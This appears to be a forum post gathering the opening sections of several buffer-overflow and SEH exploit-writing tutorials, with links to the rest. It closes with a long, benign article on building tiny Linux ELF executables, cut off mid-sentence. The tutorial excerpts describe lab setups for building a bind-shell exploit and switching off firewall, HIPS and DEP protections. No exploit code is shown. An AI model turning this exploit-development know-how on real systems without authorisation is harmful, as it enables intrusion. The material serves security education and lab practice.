Nytro

Buffer Overflows and You Magical gnomes present: Buffer Overflows and You Is it the 90's? Are you wondering why your server is running slow? Why it's trying to ping flood some host in California? Why someone else is logged into your machine and you've recently become a prominent porn hosting provider? This site will help you figure it all out. And if you have a time machine, you can probably go back and do it to someone else! Before continuing, it's important to note that this guide is designed for 64-bit systems. If you're trying any of these examples on a 32-bit machine, or even a 64-bit machine running a 32-bit kernel, you're probably going to run into differences. There are also a number of prerequisites to understanding this material. You should be comfortable with C programming. You should be able to understand x86 assembly (you don't necessarily have to be good at writing it - it just shouldn't scare you). Finally, you should be familiar with Linux in general. Commands like chmod should be second nature to you. Introduction Welcome to "Buffer Overflows and You." Today we're going to talk about computers. In particular, I'd like to focus on something called a "buffer overflow." What does that mean? Well, let's start by taking a step back and looking at your average computer program. A modern computer generally runs one "master process," the operating system. The OS is responsible for managing all of the machine's resources, such as memory, disk, access to the video card and other peripherals, etc. The OS also provides an abstraction that makes it easier for developers to write programs to run on the computer without needing intimate knowledge about the machine's architecture. Virtual memory In the context provided by the operating system, many other "user" processes are running. Because multiple processes are running at what can be considered essentially the same time*, the OS must provide protection between processes. One protection mechanism that modern operating systems and architectures provide is called virtual memory. Through hardware support and additional code in the operating system, virtual memory allows each user process to act as though it is the only thing running on the computer. It gives each process a completely separate address space. This is facilitated through the use of page tables, as illustrated above. Page tables map the virtual addresses used by the running process into physical addresses that correspond to actual memory. It's good to know this information when looking at a particular process' address space. You'll notice that if you look at the memory map for two different processes there are a lot of common addresses. Let's try it out... First let's create a really simple program. Copy this code into a file called "sample1.c" #include <stdio.h> int main() { char c; printf("I am a running instance, or process, of program 1.\n"); printf("My PID is %d\n", getpid()); printf("Press enter to exit...\n"); c = getchar(); return 0; } ow let's run it... $ gcc -o sample1 sample1.c $ ./sample1 I am a running instance, or process, of program 1. My PID is 23814 Press enter to exit... This creates a single instance of the program, called a process, with the shown PID. You'll probably see a different number for the PID. They're assigned sequentially as programs run. Let's look at this process' memory map in a separate terminal, with the process still running: $ pmap 23814 # If you don't have pmap installed, use 'cat /proc/23814/maps' 23814: ./simple1 0000000000400000 4K r-x-- /home/turkstra/cs526/simple1 0000000000600000 4K rw--- /home/turkstra/cs526/simple1 0000003191400000 120K r-x-- /lib64/ld-2.11.1.so 000000319161d000 4K r---- /lib64/ld-2.11.1.so 000000319161e000 4K rw--- /lib64/ld-2.11.1.so 000000319161f000 4K rw--- [ anon ] 0000003191800000 1468K r-x-- /lib64/libc-2.11.1.so 000000319196f000 2048K ----- /lib64/libc-2.11.1.so 0000003191b6f000 16K r---- /lib64/libc-2.11.1.so 0000003191b73000 4K rw--- /lib64/libc-2.11.1.so 0000003191b74000 20K rw--- [ anon ] 00007f09d02ce000 12K rw--- [ anon ] 00007f09d02f2000 12K rw--- [ anon ] 00007fff14cb7000 84K rw--- [ stack ] 00007fff14d00000 4K r-x-- [ anon ] ffffffffff600000 4K r-x-- [ anon ] total 3812K Let's look at the memory map for another running program, our shell... $ pmap $$ # $$ is the pid of the currently running process (your shell) 27379: -bash 0000000000400000 836K r-x-- /bin/bash 00000000006d0000 40K rw--- /bin/bash 00000000006da000 20K rw--- [ anon ] 0000000001dc4000 396K rw--- [ anon ] 0000003191400000 120K r-x-- /lib64/ld-2.11.1.so 000000319161d000 4K r---- /lib64/ld-2.11.1.so 000000319161e000 4K rw--- /lib64/ld-2.11.1.so 000000319161f000 4K rw--- [ anon ] 0000003191800000 1468K r-x-- /lib64/libc-2.11.1.so 000000319196f000 2048K ----- /lib64/libc-2.11.1.so 0000003191b6f000 16K r---- /lib64/libc-2.11.1.so 0000003191b73000 4K rw--- /lib64/libc-2.11.1.so 0000003191b74000 20K rw--- [ anon ] 0000003192000000 8K r-x-- /lib64/libdl-2.11.1.so 0000003192002000 2048K ----- /lib64/libdl-2.11.1.so 0000003192202000 4K r---- /lib64/libdl-2.11.1.so 0000003192203000 4K rw--- /lib64/libdl-2.11.1.so 00000031a0c00000 116K r-x-- /lib64/libtinfo.so.5.7 00000031a0c1d000 2048K ----- /lib64/libtinfo.so.5.7 00000031a0e1d000 16K rw--- /lib64/libtinfo.so.5.7 00007ffdbed49000 48K r-x-- /lib64/libnss_files-2.11.1.so 00007ffdbed55000 2044K ----- /lib64/libnss_files-2.11.1.so 00007ffdbef54000 4K r---- /lib64/libnss_files-2.11.1.so 00007ffdbef55000 4K rw--- /lib64/libnss_files-2.11.1.so 00007ffdbef56000 96452K r---- /usr/lib/locale/locale-archive 00007ffdc4d87000 12K rw--- [ anon ] 00007ffdc4da4000 8K rw--- [ anon ] 00007ffdc4da6000 28K r--s- /usr/lib64/gconv/gconv-modules.cache 00007ffdc4dad000 4K rw--- [ anon ] 00007fff28c16000 84K rw--- [ stack ] 00007fff28d5f000 4K r-x-- [ anon ] ffffffffff600000 4K r-x-- [ anon ] total 107920K Notice how even though both processes are running at the same time, they both start at the same address - 0x00400000 in this example. This is possible because of virtual memory. They both start at the same virtual address. But each individual virtual address points to a different physical address as mentioned above. Tutorial: http://turkeyland.net/projects/overflow/intro.php

Stack Based Buffer Overflow Tutorial, part 1 — Introduction March 9th, 2011|By: Bradshaw Stephen Introduction This tutorial, in three parts, will cover the process of writing a simple stack based buffer overflow exploit based on a known vulnerability in the Vulnserver application. Vulnserver is a Windows server application with a number of exploitable vulnerabilities deliberately engineered in, and was designed to act as a target application to teach and practice basic fuzzing, debugging and exploitation skills. More information on Vulnserver, including a download link, is available here: The Grey Corner: Introducing Vulnserver This tutorial covers how to confirm that a particular type of stack based overflow vulnerability is exploitable, as well as how to actually develop the exploit. The process of discovering vulnerabilities however is not covered in this tutorial. To learn one method by which such vulnerabilities can be discovered, you can check out a previous Vulnserver related article on fuzzing, available here: An Introduction to Fuzzing: Using fuzzers (SPIKE) to find vulnerabilities | InfoSec Resources Fuzzer Automation with SPIKE | InfoSec Resources This tutorial will also assume that the reader has a reasonable level of skill in using the OllyDbg or Immunity Debugger debugging applications, as well as a basic knowledge of X86 assembly language. For those who are new to these debuggers, or who may feel they need a refresher in assembly, the required skills are covered in the following links: Debugging Fundamentals for Exploit Development | InfoSec Resources OllyDbg Tricks for Exploit Development | InfoSec Resources System requirements and setup The following software is required to follow along with this tutorial: A 32 bit Windows System. I would suggest sticking to reasonably recent windows desktop systems such as Windows XP SP2 and up, Windows Vista or Windows 7, as these are the systems that I have personally tested. Windows 2000 desktop and server based systems may also work, but there are no guarantees. Vulnserver on your Windows system. You can obtain information about the program (which should be read before use) and download it from here: The Grey Corner: Introducing Vulnserver OlldyDbg 1.10 on your Windows system. You can also use Immunity Debugger if you prefer, but just keep in mind your screenshots will appear slightly different to mine. OllyDbg can be obtained here: OllyDbg v1.10 An instance of the Perl script interpreter. You can run this on either your Windows machine or on a Linux attacking system. Linux systems should already have Perl preinstalled, but if you want to run it on windows you can obtain a Perl install for free from here: ActivePerl is Perl for Windows, Mac, Linux, AIX, HP-UX & Solaris | ActiveState A recently updated copy of Metasploit 3. You can again run this on either your Windows machine or on a Linux attacking system, although I recommend running it on a Linux system. See the following paragraphs for more detail. If you run BackTrack 4 R2 for an attacking system, as suggested below, Metasploit is included. Otherwise Metasploit can be obtained for Windows and Linux from here: Metasploit Framework Penetration Testing Software | Metasploit Project My personal setup while writing this tutorial was to execute Metasploit commands and run my exploit Perl scripts from a Linux Virtual Machine running BackTrack 4 R2. This means that command syntax provided in this document will be for Linux systems, so if you are following along on Windows you will have to modify your commands as appropriate. I have chosen to run Metasploit and Perl from Linux because components of the Metasploit framework can be broken by many of the common Anti Virus solutions commonly installed on Windows systems. In addition, firing up a BackTrack VM which already includes Metasploit and Perl can be much quicker than manually installing Perl and Metasploit on your Windows system, especially if you already have a BackTrack environment handy. If your Windows system is running a firewall or HIPS (Host Intrusion Prevention System), you may need to allow the appropriate traffic and disable certain protection features in order to follow this tutorial. We will be creating an exploit that makes Vulnserver listen for shell sessions on a newly bound TCP port, and firewalls and possibly HIPS software may prevent this from working. Certain HIPS software may also implement ASLR, which could also be problematic. Discussing firewall and HIPS bypass techniques is a little beyond the scope of this tutorial, so configure these appropriately so they don’t get in the way. I am also assuming for the purposes of this tutorial that your Windows system will not have hardware DEP enabled for all programs. The default setting for Windows XP, Windows Vista and Windows 7 is to enable hardware DEP for essential Windows programs and services only, so unless you have specifically changed your DEP settings your system should already be configured appropriately. See the following links for more information: Data Execution Prevention - Wikipedia, the free encyclopedia A detailed description of the Data Execution Prevention (DEP) feature in Windows XP Service Pack 2, Windows XP Tablet PC Edition 2005, and Windows Server 2003 My Windows Vulnserver system will be listening on the address 192.168.56.1 TCP port 9999, so this is the target address that I will use when running my Perl scripts. Make sure you replace this with the appropriate values if your Vulnserver instance is running elsewhere. Part 1: http://resources.infosecinstitute.com/stack-based-buffer-overflow-tutorial-part-1-%E2%80%94-introduction/ Part 2: http://resources.infosecinstitute.com/stack-based-buffer-overflow-tutorial-part-2-%E2%80%94-exploiting-the-stack-overflow/ Part 3: http://resources.infosecinstitute.com/stack-based-buffer-overflow-tutorial-part-3-%E2%80%94-adding-shellcode/

Tutorial: SEH Based Exploits and the Development Process Tutorial by Mark Nicholls AKA n1p The intent of this exploit tutorial is to educate the reader on the use and understanding of vulnerabilities and exploit development. This will hopefully enable readers to gain a better understanding of the use of exploitation tools and what goes on underneath to more accurately assess the risk of discovered vulnerabilities in a computer environment. It is important for security consultants and ethical hackers to understand how buffer overflows actually work, as having such knowledge will improve penetration testing capabilities. It will also give you the tools to more accurately assess the risk of vulnerabilities and develop effective countermeasures for exploits doing the rounds in the wild. With this in, I am going to focus exclusively on the practical skills needed to exploit Structured Exception Handler buffer overflows. I won't go into too much detail regarding the theory of how they work, or how buffer overflows can be discovered. There are many other resources available on this subject, and I encourage you to research this further Warning! Please note that this tutorial is intended for educational purposes only, and skills gained here should NOT be used to attack any system for which you don't have permission to access. It is illegal. Brief Intro to Structured Exception Handlers (SEH) An exception handler is a piece of code that is written inside an application with the purpose of dealing with cleanup activities when the application throws an exception error. A typical exception handler looks like this: try { line = console.readLine(); } catch { (Exception e) { console.printLine("Error: " + e.message()); } } When no exception handlers have been coded by a developer, there is a default Structured Exception Handler that is used to handle exceptions within Windows programs. Every process has an OS supplied SEH, and when a Windows program has an exception that it cannot handle itself, control is passed to a SEH address that has code that can be used to show a dialog box explaining that the program has crashed. As seen below: About Structured Exception Handling (Windows) A Crash Course on theDepths of Win32 Structured Exception Handling, MSJ January 1997 This default handler is seen at 0xFFFFFF and viewable in a debugger as such in the Stack window below. This is the end of the Stack Chain and should always be hit if the program cannot successfully handle crashes. The SEH chain is essentially a linked list that is laid out in a structure similar to the chain below with the default OS handler at the end. Each code block has its own stack frame, and the pointer to the exception handler is part of this stack frame. Information about the exception handler is stored in an exception_registration structure on the stack. Each record then has the following info: • A pointer to the next SEH record • Pointer to address of the exception handler (SE Handler) Ok, that’s enough theory. References are provided at the end for further reading and learning. On to the practical stuff... Tutorial: http://www.ethicalhacker.net/content/view/309/2/

Stack Based Windows Buffer Overflow Tutorial Thursday, January 7, 2010 Introduction One thing I have always maintained is that aspiring or practicing penetration testers who use an exploitation product (such as CANVAS, Core Impact, Metasploit) should know how buffer overflows actually work. Having this knowledge will help you understand the circumstances under which these products can work, will help you troubleshoot when things don't work and will correct unrealistic expectations about what the products are capable of. In addition, being able to reproduce buffer overflow exploits will also give you the tools to more accurately assess the risk of discovered vulnerabilities as well as to develop effective countermeasures for exploits out in the wild. These are important skills for incident responders and for those attempting to protect their networks. To this end, I am going to write a series of tutorials on how to write buffer overflows. This is the first entry in this series, and it will cover how to recreate a simple stack based buffer overflow in the Windows application MiniShare 1.4.1. MiniShare 1.4.1 is an older version of the MiniShare application and the vulnerability we will be attacking has been patched in the current version of the application. While this vulnerability could probably be considered out of date, it does provide a very good example of a simple stack based buffer overflow, which makes it ideal to use in a beginners buffer overflow tutorial such as this. In this tutorial I am going to focus exclusively on the practical skills needed to exploit buffer overflows, and I won't go into any uneccessary details on the theory of how they work, or how buffer overflows can be discovered. There are many other resources available on buffer overflow theory, and I will cover off on the vulnerability discovery angle in a later post. Update: Blog reader Mark has created a video version of this tutorial, so if you like videos with your tutorials, check it out. It can be found here. Warning! Please note that this tutorial is intended for educational purposes only, and you should NOT use the skills you gain here to attack any system for which you don't have permission to access. Its illegal in most jurisdictions to access a computer system without authorisation, and if you do it and get caught (which is likely) you deserve whatever you have coming to you. Don't say you haven't been warned. Tutorial: http://grey-corner.blogspot.com/2010/01/beginning-stack-based-buffer-overflow.html

Understanding SEH (Structured Exception Handler) Exploitation By Donny Hubener July 6, 2009 1) Introduction This paper is written to discuss the design and theory of how a Structured Exception Handler (SEH) exploit can be written to target a Windows host. We use the buffer overflow vulnerability in the ESF EasyChat Server software as a detailed example of this exploit type. While the paper attempts to cover the topics for those new to writing exploits, it still makes some assumptions about the reader’s related experience. For instance, the paper does not go into detail about how to write assembly code and how it is used for shellcode as the exploit payload. It also does not talk about the difference between hexadecimal and decimal number systems which is required to understand many of the numeric values used throughout the document. Here is a list of topics you should be familiar with before continuing to read this paper: - Hexadecimal number system - Basic understanding of how Assembly language is used - Basic understanding of Assembly Opcode Mnemomics - Understanding of memory pointers - General idea of memory registers and their use - Some experience with writing program functions of any language Additionally, it is recommended to obtain these items to follow along with this exercise: - A WindowsXP SP1 machine (Virtual Machine is Ok) (Victim) - Ollydbg (Free) installed on XP SP1 box - OllySSEH Ollydbg Plugin (Free) installed on XP SP1 box - ESF EasyChat Server 2.2 (Free) - Another machine with Python (Free) installed. (can be any os) (Attacker) One of the most important concepts to understand when writing functional exploits is that they are the result of a software bug. If all programs were perfectly written such that there were no flaws, there would be no vulnerabilities to exploit. In many cases, an attacker may be able to cause a program to crash due to insufficient error checking within the program. Causing the program to crash would be considered a Denial of Service (DOS) attack. However, causing a DOS condition in a program does not mean it can be fully exploited, but it does indicate that it could be possible. While there are several different types of attack vectors available to create a fully functional exploit, there are many cases where the conditions of the program or environment do not provide a viable exploit using any of the known vectors. This article is written with the assumption that an SEH attack vector is possible in the target software, and it is important to understand that this vector may not always be present in other vulnerable software. Before we get started, take note that we will be mostly discussing the operation of two different software routines that are running simultaneously. One routine will be the vulnerable software program and it’s supporting function libraries that we are attempting to corrupt. For us, this first routine will be the EasyChat server software. The second routine is the Windows system exception dispatcher which constantly runs waiting for an error condition to occur. The dispatcher routine attempts to handle any exceptions (errors) that may occur in the first routine (EasyChat). As we go through this paper, try to keep these two routines separate in your mind. Download: http://www.i-hacked.com/freefiles/EasyChat_SEH_exploit_v1.3.pdf

Teensy ELF Executables for Linux She studied it carefully for about 15 minutes. Finally, she spoke. "There's something written on here," she said, frowning, "but it's really teensy." [Dave Barry, "The Columnist's Caper"] If you're a programmer who's become fed up with software bloat, then may you find herein the perfect antidote. This document explores methods for squeezing excess bytes out of simple programs. (Of course, the more practical purpose of this document is to describe a few of the inner workings of the ELF file format and the Linux operating system. But hopefully you can also learn something about how to make really teensy ELF executables in the process.) Please note that the information and examples given here are, for the most part, specific to ELF executables on a Linux platform running under an Intel-386 architecture. I imagine that a good bit of the information is applicable to other ELF-based Unices, but my experiences with such are too limited for me to say with certainty. Please also note that if you aren't a little bit familiar with assembly code, you may find parts of this document sort of hard to follow. (The assembly code that appears in this document is written using Nasm; see The Netwide Assembler: NASM.) In order to start, we need a program. Almost any program will do, but the simpler the program the better, since we're more interested in how small we can make the executable than what the program does. Let's take an incredibly simple program, one that does nothing but return a number back to the operating system. Why not? After all, Unix already comes with no less than two such programs: true and false. Since 0 and 1 are already taken, we'll use the number 42. So, here is our first version: /* tiny.c */ int main(void) { return 42; } which we can compile and test like so: $ gcc -Wall tiny.c $ ./a.out ; echo $? 42 So. How big is it? Well, on my machine, I get: $ wc -c a.out 3998 a.out (Yours will probably differ some.) Admittedly, that's pretty small by today's standards, but it's almost certainly bigger than it needs to be. The obvious first step is to strip the executable: $ gcc -Wall -s tiny.c $ ./a.out ; echo $? 42 $ wc -c a.out 2632 a.out That's certainly an improvement. For the next step, how about optimizing? $ gcc -Wall -s -O3 tiny.c $ wc -c a.out 2616 a.out That also helped, but only just. Which makes sense: there's hardly anything there to optimize. It seems unlikely that there's much else we can do to shrink a one-statement C program. We're going to have to leave C behind, and use assembler instead. Hopefully, this will cut out all the extra overhead that C programs automatically incur. So, on to our second version. All we need to do is return 42 from main(). In assembly language, this means that the function should set the accumulator, eax, to 42, and then return: ; tiny.asm BITS 32 GLOBAL main SECTION .text main: mov eax, 42 ret We can then build and test like so: $ nasm -f elf tiny.asm $ gcc -Wall -s tiny.o $ ./a.out ; echo $? 42 (Hey, who says assembly code is difficult?) And now how big is it? $ wc -c a.out 2604 a.out Looks like we shaved off a measly twelve bytes. So much for all the extra overhead that C automatically incurs, eh? Well, the problem is that we are still incurring a lot of overhead by using the main() interface. The linker is still adding an interface to the OS for us, and it is that interface that actually calls main(). So how do we get around that if we don't need it? The actual entry point that the linker uses by default is the symbol with the name _start. When we link with gcc, it automatically includes a _start routine, one that sets up argc and argv, among other things, and then calls main(). So, let's see if we can bypass this, and define our own _start routine: ; tiny.asm BITS 32 GLOBAL _start SECTION .text _start: mov eax, 42 ret Will gcc do what we want? $ nasm -f elf tiny.asm $ gcc -Wall -s tiny.o tiny.o(.text+0x0): multiple definition of `_start' /usr/lib/crt1.o(.text+0x0): first defined here /usr/lib/crt1.o(.text+0x36): undefined reference to `main' No. Well, actually, yes it will, but first we need to learn how to ask for what we want. It so happens that gcc recognizes an option called -nostartfiles. From the gcc info pages: -nostartfiles Do not use the standard system startup files when linking. The standard libraries are used normally. Aha! Now let's see what we can do: $ nasm -f elf tiny.asm $ gcc -Wall -s -nostartfiles tiny.o $ ./a.out ; echo $? Segmentation fault 139 Well, gcc didn't complain, but the program doesn't work. What went wrong? What went wrong is that we treated _start as if it were a C function, and tried to return from it. In reality, it's not a function at all. It's just a symbol in the object file which the linker uses to locate the program's entry point. When our program is invoked, it's invoked directly. If we were to look, we would see that the value on the top of the stack was the number 1, which is certainly very un-address-like. In fact, what is on the stack is our program's argc value. After this comes the elements of the argv array, including the terminating NULL element, followed by the elements of envp. And that's all. There is no return address on the stack. So, how does _start ever exit? Well, it calls the exit() function! That's what it's there for, after all. Actually, I lied. What it really does is call the _exit() function. (Notice the leading underscore.) exit() is required to finish up some tasks on behalf of the process, but those tasks will never have been started, because we're bypassing the library's startup code. So we need to bypass the library's shutdown code as well, and go directly to the operating system's shutdown processing. So, let's try this again. We're going to call _exit(), which is a function that takes a single integer argument. So all we need to do is push the number onto the stack and call the function. (We also need to declare _exit() as external.) Here's our assembly: ; tiny.asm BITS 32 EXTERN _exit GLOBAL _start SECTION .text _start: push dword 42 call _exit And we build and test as before: $ nasm -f elf tiny.asm $ gcc -Wall -s -nostartfiles tiny.o $ ./a.out ; echo $? 42 Success at last! And now how big is it? $ wc -c a.out 1340 a.out Almost half the size! Not bad. Not bad at all. Hmmm ... so what other interesting obscure options does gcc have? Well, this one, appearing immediately after -nostartfiles in the documentation, is certainly eye-catching: -nostdlib Don't use the standard system libraries and startup files when linking. Only the files you specify will be passed to the linker. That's gotta be worth investigating: $ gcc -Wall -s -nostdlib tiny.o tiny.o(.text+0x6): undefined reference to `_exit' Oops. That's right ... _exit() is, after all, a library function. It has to be filled in from somewhere. Okay. But surely, we don't need libc's help just to end a program, do we? No, we don't. If we're willing to leave behind all pretenses of portability, we can make our program exit without having to link with anything else. First, though, we need to know how to make a system call under Linux. Linux, like most operating systems, provides basic necessities to the programs it hosts via system calls. This includes things like opening a file, reading and writing to file handles — and, of course, shutting down a process. The Linux system call interface is a single instruction: int 0x80. All system calls are done via this interrupt. To make a system call, eax should contain a number that indicates which system call is being invoked, and other registers are used to hold the arguments, if any. If the system call takes one argument, it will be in ebx; a system call with two arguments will use ebx and ecx. Likewise, edx, esi, and edi are used if a third, fourth, or fifth argument is required, respectively. Upon return from a system call, eax will contain the return value. If an error occurs, eax will contain a negative value, with the absolute value indicating the error. The numbers for the different system calls are listed in /usr/include/asm/unistd.h. A quick peek will tell us that the exit system call is assigned the number 1. Like the C function, it takes one argument, the value to return to the parent process, and so this will go into ebx. We now know all we need to know to create the next version of our program, one that won't need assistance from any external functions to work: ; tiny.asm BITS 32 GLOBAL _start SECTION .text _start: mov eax, 1 mov ebx, 42 int 0x80 Here we go: $ nasm -f elf tiny.asm $ gcc -Wall -s -nostdlib tiny.o $ ./a.out ; echo $? 42 Ta-da! And the size? $ wc -c a.out 372 a.out Now that's tiny! Almost a fourth the size of the previous version! So ... can we do anything else to make it even smaller? How about using shorter instructions? If we generate a list file for the assembly code, we'll find the following: 00000000 B801000000 mov eax, 1 00000005 BB2A000000 mov ebx, 42 0000000A CD80 int 0x80 Well, gee, we don't need to initialize all of ebx, since the operating system is only going to use the lowest byte. Setting bl alone will be sufficient, and will take two bytes instead of five. We can also set eax to one by xor'ing it to zero and then using a one-byte increment instruction; this will save two more bytes. 00000000 31C0 xor eax, eax 00000002 40 inc eax 00000003 B32A mov bl, 42 00000005 CD80 int 0x80 I think it's pretty safe to say that we're not going to make this program any smaller than that. As an aside, we might as well stop using gcc to link our executable, seeing as we're not using any of its added functionality, and just call the linker, ld, ourselves: $ nasm -f elf tiny.asm $ ld -s tiny.o $ ./a.out ; echo $? 42 $ wc -c a.out 368 a.out Four bytes smaller. (Hey! Didn't we shave five bytes off? Well, we did, but alignment considerations within the ELF file caused it to require an extra byte of padding.) So ... have we reached the end? Is this as small as we can go? Well, hm. Our program is now seven bytes long. Do ELF files really require 361 bytes of overhead? What's in this file, anyway? We can peek into the contents of the file using objdump: $ objdump -x a.out | less The output may look like gibberish, but right now let's just focus on the list of sections: Sections: Idx Name Size VMA LMA File off Algn 0 .text 00000007 08048080 08048080 00000080 2**4 CONTENTS, ALLOC, LOAD, READONLY, CODE 1 .comment 0000001c 00000000 00000000 00000087 2**0 CONTENTS, READONLY The complete .text section is listed as being seven bytes long, just as we specified. So it seems safe to conclude that we now have complete control of the machine-language content of our program. But then there's this other section named ".comment". Who ordered that? And it's 28 bytes long, even! We may not be sure what this .comment section is, but it seems a good bet that it isn't a necessary feature.... The .comment section is listed as being located at file offset 00000087 (hexadecimal). If we use a hexdump program to look at that area of the file, we will see: 00000080: 31C0 40B3 2ACD 8000 5468 6520 4E65 7477 1.@.*...The Netw 00000090: 6964 6520 4173 7365 6D62 6C65 7220 302E ide Assembler 0. 000000A0: 3938 0000 2E73 796D 7461 6200 2E73 7472 98...symtab..str Well, well, well. Who'd've thought that Nasm would undermine our quest like this? Maybe we should switch to using gas, AT&T syntax notwithstanding.... Alas, if we do: ; tiny.s .globl _start .text _start: xorl %eax, %eax incl %eax movb $42, %bl int $0x80 ... we will find: $ gcc -s -nostdlib tiny.s $ ./a.out ; echo $? 42 $ wc -c a.out 368 a.out ... no difference! Well, actually there is some difference. Turning once again to objdump, we see: Sections: Idx Name Size VMA LMA File off Algn 0 .text 00000007 08048074 08048074 00000074 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE 1 .data 00000000 0804907c 0804907c 0000007c 2**2 CONTENTS, ALLOC, LOAD, DATA 2 .bss 00000000 0804907c 0804907c 0000007c 2**2 ALLOC No comment section, but now we have two useless sections for storing our nonexistent data. And even though these sections are zero bytes long, they incur overhead, bringing our file size up for no good reason. Okay, so just what is all this overhead, and how do we get rid of it? Well, to answer these questions, we must begin diving into some real wizardry. We need to understand the ELF format. The canonical document describing the ELF format for Intel-386 architectures can be found at http://refspecs.freestandards.org/elf/elf.pdf. (You can also find a flat-text version of version 1.0 of the standard at http://www.muppetlabs.com/~breadbox/software/ELF.txt.) This specification covers a lot of territory, so if you'd prefer to not read the whole thing yourself, I'll understand. Basically, here's what we need to know: Every ELF file begins with a structure called the ELF header. This structure is 52 bytes long, and contains several pieces of information that describe the contents of the file. For example, the first sixteen bytes contain an "identifier", which includes the file's magic-number signature (7F 45 4C 46), and some one-byte flags indicating that the contents are 32-bit or 64-bit, little-endian or big-endian, etc. Other fields in the ELF header contain information such as: the target architecture; whether the ELF file is an executable, an object file, or a shared-object library; the program's starting address; and the locations within the file of the program header table and the section header table. These two tables can appear anywhere in the file, but typically the former appears immediately following the ELF header, and the latter appears at or near the end of the file. The two tables serve similar purposes, in that they identify the component parts of the file. However, the section header table focuses more on identifying where the various parts of the program are within the file, while the program header table describes where and how these parts are to be loaded into memory. In brief, the section header table is for use by the compiler and linker, while the program header table is for use by the program loader. The program header table is optional for object files, and in practice is never present. Likewise, the section header table is optional for executables — but is almost always present! So, this is the answer to our first question. A fair piece of the overhead in our program is a completely unnecessary section header table, and maybe some equally useless sections that don't contribute to our program's memory image. So, we turn to our second question: how do we go about getting rid of all that? Alas, we're on our own here. None of the standard tools will deign to make an executable without a section header table of some kind. If we want such a thing, we'll have to do it ourselves. This doesn't quite mean that we have to pull out a binary editor and code the hexadecimal values by hand, though. Good old Nasm has a flat binary output format, which will serve us well. All we need now is the image of an empty ELF executable, which we can fill in with our program. Our program, and nothing else. We can look at the ELF specification, and /usr/include/linux/elf.h, and executables created by the standard tools, to figure out what our empty ELF executable should look like. But, if you're the impatient type, you can just use the one I've supplied here: BITS 32 org 0x08048000 ehdr: ; Elf32_Ehdr db 0x7F, "ELF", 1, 1, 1, 0 ; e_ident times 8 db 0 dw 2 ; e_type dw 3 ; e_machine dd 1 ; e_version dd _start ; e_entry dd phdr - $$ ; e_phoff dd 0 ; e_shoff dd 0 ; e_flags dw ehdrsize ; e_ehsize dw phdrsize ; e_phentsize dw 1 ; e_phnum dw 0 ; e_shentsize dw 0 ; e_shnum dw 0 ; e_shstrndx ehdrsize equ $ - ehdr phdr: ; Elf32_Phdr dd 1 ; p_type dd 0 ; p_offset dd $$ ; p_vaddr dd $$ ; p_paddr dd filesize ; p_filesz dd filesize ; p_memsz dd 5 ; p_flags dd 0x1000 ; p_align phdrsize equ $ - phdr _start: ; your program here filesize equ $ - $$ This image contains an ELF header, identifying the file as an Intel 386 executable, with no section header table and a program header table containing one entry. Said entry instructs the program loader to load the entire file into memory (it's normal behavior for a program to include its ELF header and program header table in its memory image) starting at memory address 0x08048000 (which is the default address for executables to load), and to begin executing the code at _start, which appears immediately after the program header table. No .data segment, no .bss segment, no commentary — nothing but the bare necessities. So, let's add in our little program: ; tiny.asm org 0x08048000 ; ; (as above) ; _start: mov bl, 42 xor eax, eax inc eax int 0x80 filesize equ $ - $$ and try it out: $ nasm -f bin -o a.out tiny.asm $ chmod +x a.out $ ./a.out ; echo $? 42 We have just created an executable completely from scratch. How about that? And now, take a look at its size: $ wc -c a.out 91 a.out Ninety-one bytes. Less than one-fourth the size of our previous attempt, and less than one-fortieth the size of our first! What's more, this time we can account for every last byte. We know exactly what's in the executable, and why it needs to be there. This is, finally, the limit. We can't get any smaller than this. Or can we? Well, if you actually stopped to read the ELF specification, you might have noticed a couple of facts. 1) The different parts of an ELF file are permitted to be located anywhere (except the ELF header, which must be at the top of the file), and they can even overlap each other. 2) Some of the fields in the headers aren't actually used. In particular, I'm thinking of that string of zeros at the end of the 16-byte identification field. They are pure padding, to make room for future expansion of the ELF standard. So the OS shouldn't care at all what's in there. And we're already loading everything into memory anyway, and our program is only seven bytes long.... Can we put our code inside the ELF header itself? Why not? ; tiny.asm BITS 32 org 0x08048000 ehdr: ; Elf32_Ehdr db 0x7F, "ELF" ; e_ident db 1, 1, 1, 0, 0 _start: mov bl, 42 xor eax, eax inc eax int 0x80 dw 2 ; e_type dw 3 ; e_machine dd 1 ; e_version dd _start ; e_entry dd phdr - $$ ; e_phoff dd 0 ; e_shoff dd 0 ; e_flags dw ehdrsize ; e_ehsize dw phdrsize ; e_phentsize dw 1 ; e_phnum dw 0 ; e_shentsize dw 0 ; e_shnum dw 0 ; e_shstrndx ehdrsize equ $ - ehdr phdr: ; Elf32_Phdr dd 1 ; p_type dd 0 ; p_offset dd $$ ; p_vaddr dd $$ ; p_paddr dd filesize ; p_filesz dd filesize ; p_memsz dd 5 ; p_flags dd 0x1000 ; p_align phdrsize equ $ - phdr filesize equ $ - $$ After all, bytes are bytes! $ nasm -f bin -o a.out tiny.asm $ chmod +x a.out $ ./a.out ; echo $? 42 $ wc -c a.out 84 a.out Not bad, eh? Now we've really gone as low as we can go. Our file is exactly as long as one ELF header and one program header table entry, both of which we absolutely require in order to get loaded into memory and run. So there's nothing left to reduce now! Except ... Well, what if we could do the same thing to the program header table that we just did to the program? Have it overlap with the ELF header, that is. Is it possible? It is indeed. Take a look at our program. Note that the last eight bytes in the ELF header bear a certain kind of resemblence to the first eight bytes in the program header table. A certain kind of resemblence that might be described as "identical". So ... ; tiny.asm BITS 32 org 0x08048000 ehdr: db 0x7F, "ELF" ; e_ident db 1, 1, 1, 0, 0 _start: mov bl, 42 xor eax, eax inc eax int 0x80 dw 2 ; e_type dw 3 ; e_machine dd 1 ; e_version dd _start ; e_entry dd phdr - $$ ; e_phoff dd 0 ; e_shoff dd 0 ; e_flags dw ehdrsize ; e_ehsize dw phdrsize ; e_phentsize phdr: dd 1 ; e_phnum ; p_type ; e_shentsize dd 0 ; e_shnum ; p_offset ; e_shstrndx ehdrsize equ $ - ehdr dd $$ ; p_vaddr dd $$ ; p_paddr dd filesize ; p_filesz dd filesize ; p_memsz dd 5 ; p_flags dd 0x1000 ; p_align phdrsize equ $ - phdr filesize equ $ - $$ And sure enough, Linux doesn't mind our parsimony one bit: $ nasm -f bin -o a.out tiny.asm $ chmod +x a.out $ ./a.out ; echo $? 42 $ wc -c a.out 76 a.out Now we've really gone as low as we can go. There's no way to overlap the two structures any more than this. The bytes simply don't match up. This is the end of the line! Unless, that is, we could change the contents of the structures to make them match even further.... How many of these fields is Linux actually looking at, anyway? For example, does Linux actually check to see if the e_machine field contains 3 (indicating an Intel 386 